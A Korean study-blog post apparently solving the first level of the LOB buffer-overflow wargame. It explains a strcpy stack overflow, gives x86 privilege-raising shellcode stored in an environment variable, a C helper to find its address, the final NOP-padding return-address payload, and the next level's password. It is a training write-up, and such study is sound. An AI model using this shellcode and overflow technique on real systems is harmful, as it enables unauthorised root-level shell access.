yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 1번 풀이 본문

wargame 풀이/LOB

LOB 1번 풀이

yehey 2020. 10. 27. 16:39
id: gate
pw: gate

 

strcpy의 BOF 취약점을 이용해서 공격을 하자

buffer를 넘치게 해서 ret 값을 쉘코드 시작 주소로 바꿔줄 것이다.

쉘코드를 환경변수에 등록해야하는데, bash 쉘을 띄우는 것 뿐만 아니라 권한 상승까지 포함한 쉘 코드를 등록해주어야 한다.

 

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80
setreuid(geteuid(), getreuid()), exit(0)까지 포함시킨 쉘코드 (47bytes)

 

환경변수가 정상적으로 등록이 되었다면 환경변수 주소를 얻어내는 코드를 작성해보자

//addr.c code
#include <stdio.h>

int main(){
	printf("%p\n",getenv("SHELL2"));
   	return 0;
}

코드를 작성했으면 컴파일도 해주고 실행시켜보자

 

 

쉘 코드의 시작 주소는 0xbffffc5e이다! 

이제 gremlin을 디스어셈블해서 스택구조를 파악해보자

 

스택 구조는 다음 그림과 같다고 예상할 수 있다. (dummy는 존재하지 않음!)

 

buffer부터 ret 전인 260바이트를 의미없는 값으로 채워주고 ret에 쉘 코드 시작주소(환경변수 SHELL2 주소)를 입력해주면 gremlin권한의 bash 쉘이 띄워진다!

payload: ./gremlin `python -c 'print "\x90"*260+"\x5e\xfc\xff\xbf"'`

 

 

gremlin의 pw: "hello bof world"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 6번 풀이 (wolfman)  (0) 2020.11.07
LOB 5번 풀이 (orc)  (0) 2020.11.06
LOB 4번 풀이 (goblin)  (0) 2020.11.02
LOB 3번 풀이 (cobolt)  (0) 2020.10.29
LOB 2번 풀이 (gremlin)  (0) 2020.10.29
Comments